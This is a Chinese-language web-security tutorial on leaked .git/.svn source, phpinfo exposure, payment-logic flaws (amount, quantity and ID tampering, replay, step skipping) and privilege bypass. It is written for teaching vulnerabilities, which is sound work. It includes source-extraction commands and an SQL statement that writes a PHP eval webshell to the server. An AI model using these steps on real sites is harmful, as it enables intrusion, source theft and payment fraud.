信息泄漏是指在正常情况下不能被普通用户访问的敏感信息没有被应用程序所保护,能够直接访问。就web来说这种类型的问题往往会带来巨大的危害,攻击者不仅可以轻松收集用户手机号,姓名等隐私信息,更可以借此攻入企业后台甚至是getshell。下面介绍一些常见的web信息泄漏漏洞。
0x01 敏感信息泄露
.git源码泄露
在使用命令git init&git add *后会在当前目录生成.git后缀的隐藏文件 文件路径在 www.xxx.com/.git
我们使用GitHack工具对网页源代码进行下载python2 GitHack.py http://localhost/.git
完成后会在GitHack目录生成IP地址为名称的文件夹 文件夹内保存网站源代码
svn源码泄露
svn<=1.6
??从svn的结构图可以看到一个目录text-base,这里有我们源文件的备份,比如要下载www.xxx.com/phpinfo.php,直接访问目录www.xxx.com/.svn/text-base/phpinfo.php.text-base,一般的服务器既不会阻止该目录也不会解释该后缀,我们就可以直接读到本地来。现在只是访问最顶层的文件信息,那怎么遍历呢?这里面就有.svn/entries,这个文件包含着该基础目录下所有的文件和目录,直接递推查找就行。
svn>1.6
??svn在1.6之后引入了wc.db来管理文件,该文件位于.svn/wc.db。普通文件位置:www.xxx.com/.svn/pristine/xx/checksum.svn-base,checksum是文件的sha1值,xx则是它的前两位。那这个checksum去哪找呢?就是我们刚才提到的wc.db,这是一个sqlite数据库,下面分析下这个数据库的结构。
使用sqlite3查看数据库中的表名sqlite3 wc.db .tables
继续查询NODES表里local_relpath和checksum的字段,可以看到所有的文件以及对应的sha1值sqlite3 wc.db ‘select local_relpath, checksum from NODES‘
将文件名对应的sha1值进行拼接即可获得文件路径 查看源码即可获得页面源码www.xxx.com/.svn/pristine/[sha1值前两位]/[sha1值].svn-base,checksum
phpinfo信息泄露
使用目录扫描工具例如nikto扫描目标nikto -h http://www.xxx.com
如果扫描出phpinfo则可以搜索关键字SCRIPT_FILENAME
找到站点目录
通过Sql语句写入webshellselect ‘<?php @eval($_REQUEST[pass]);?>‘ into outfile ‘c://phpstudy//www//night7i.php‘
0x02 支付逻辑漏洞
1.支付过程中可直接修改数据包中的支付金额
?这种漏洞应该是支付漏洞中最常见的,主要针对支付宝等需要第三方支付的案例。开发人员往往会为了方便,直接在支付的关键步骤数据包中直接传递需要支付的金额。而这种金额后端没有做校验,传递过程中也没有做签名,导致可以随意篡改金额提交。
?只需要在支付过程中用抓包工具抓包发现有金额的参数修改成任意即可。
12308订单支付时的总价未验证漏洞(支付逻辑漏洞)
2.没有对购买数量进行限制
?这种案例也比较常见,产生的原因是开发人员没有对购买商品的数量参数进行严格的限制。这种同样是数量的参数没有做签名,在抓包后导致可随意修改数量,经典的修改方式就是改成负数。
?当购买的数量是一个负数时,总额的算法仍然是"购买数量x单价=总价"。所以这样就会导致有一个负数的需支付金额。若支付成功,则可能导致购买到了一个负数数量的产品,也有可能购物网站会返还相应的积分/金币到你的账户上。
?但是,这种情况不可能发生在通过支付宝支付的订单中,因为显然支付宝是不支持一个负数金额的订单,所以这种情况多数发生在一个有站内虚拟货币的网站。
国美网上商城支付漏洞1元订购Iphone 4S!
3.购买商品编号篡改
?例如商品积分兑换处,100个积分只能换商品编号为001的低价格商品,1000个积分能换商品编号005的高价格商品,在用100积分换商品的时候抓包把换商品的编号从001修改为005,用低积分换区高积分商品。
联想某积分商城支付漏洞再绕过
4.支付逻辑顺序执行缺陷
?部分网站的支付逻辑可能是先A过程后B过程然后C过程最后D过程用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。但是,如果用户直接从B直接进入了D过程,就绕过了C过程。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。
万达某分站逻辑错误可绕过支付直接获得取票密码
5.请求重放
?购买商品成功后,重放购买成功的http请求,可以使购买的商品一直增加。购买成功后,会有一个从银行向商户网站跳转的过程,如果这个过程反复的重放,有可能导致商品的反复购买和增加,但是用户不需要支付更多的金钱。
6.程序的异常处理
?程序的异常处理比较少见,不过也是有案例的。程序的异常处理,就是指支付的数据包异常的程序的错误处理。这种异常可以是数据与KEY不符,支付的金额有错误,购买的数量不正确等等。程序的异常处理出现的原因主要是开发人员对出现异常后的处理不当造成的。
115网盘存在支付绕过
0x03 权限绕过漏洞
??越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。越权又可以分为两种:水平越权与垂直越权。接下来,将深入分析水平越权与垂直越权。
水平越权
??水平越权就是相同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作。如果出现此类漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。
垂直越权
??垂直越权又叫做权限提升攻击,具体原因就是web应用没有做用户权限控制,或者只是在菜单上做了权限控制,导致恶意用户只要猜测到其他管理页面的URL,就可以访问或者控制其他角色拥有的数据或者页面,达到权限提升的目的。